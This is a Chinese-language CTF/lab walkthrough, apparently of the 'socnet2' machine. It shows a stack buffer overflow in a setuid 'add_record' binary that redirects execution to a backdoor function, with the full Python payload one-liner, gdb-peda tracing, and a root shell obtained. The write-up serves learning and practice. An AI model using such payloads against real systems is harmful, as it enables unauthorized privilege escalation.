这里思路就已经很明确了,就是得跟踪到backdoor函数,利用主函数中的缓冲区溢出漏洞(vuln 函数), 将backdoor函数起始内存地址写入到EIP寄存器里,程序正常执行时,EIP寄存器就会读取backdoor的内存地址,执行backdoor函数,进而逐步执行到里面的system函数,从而获知里面具体执行的是什么系统指令,根据此指令是否对提权利用有所帮助;

根据目标系统的16进制内存数据格式,改变一下backdoor函数的起始内存地址的格式,放置到缓冲区溢出的位置,令其能写入到EIP寄存器;

socnet@socnet2:~$ python -c "import struct; print('exploit\n1\n1\n1\n' + 'A'*62 + struct.pack('I', 0x08048676))" > payload1    
< 'A'*62 + struct.pack('I', 0x08048676))" > payload1
socnet@socnet2:~$ ls
ls
add_record            monitor.py  peda
employee_records.txt  payload1    peda-session-add_record.txt
socnet@socnet2:~$ cat payload1
cat payload1
exploit
1
1
1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv�

根据执行后的输出结果,可知程序创建了两个新进程程序,一个为1758的/bin/dash程序,一个为1759的/bin/bash程序;

gdb-peda$ r < payload1
r < payload1
Starting program: /home/socnet/add_record < payload1
Welcome to Add Record application
Use it to add info about Social Network 2.0 Employees
[New process 1758]
process 1758 is executing new program: /bin/dash
[New process 1759]
process 1759 is executing new program: /bin/bash
[Inferior 3 (process 1759) exited normally]
Warning: not running or target is remote

为何会创建两个新进程呢?就得断点调试一步步单步引出backdoor函数执行system函数的位置;

gdb-peda$ break vuln
break vuln
Breakpoint 1 at 0x80486b1
gdb-peda$ r < payload1

每跟进一步,就得仔细查看堆栈、寄存器里的代码指令,直到出现backdoor函数,然后再直到执行system函数的位置;


继续往下跟进,找到了这样一个位置;
原来它就是将system函数的指令,通过进栈指令push到EAX寄存器里,通过EAX寄存器交予CPU去执行,CPU执行的结果也将是/bin/bash
而且,所给出的指令使用的是文件属主的权限,这里也就是root(setuid函数申请到的);
程序以root权限通过调用system函数,以/bin/bash的Shell来请求CPU执行;

退出调试程序,以正常执行的流程去执行程序,参数为已验证成功的Payload,直接提权成功

socnet@socnet2:~$ cat payload1 - | ./add_record    
cat payload1 - | ./add_record
Welcome to Add Record application
Use it to add info about Social Network 2.0 Employees

id
id
uid=0(root) gid=1000(socnet) groups=1000(socnet),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
whoami
whoami
root
posted @ 2022-06-04 17:18  Zerimon  阅读(520)  评论(0编辑  收藏  举报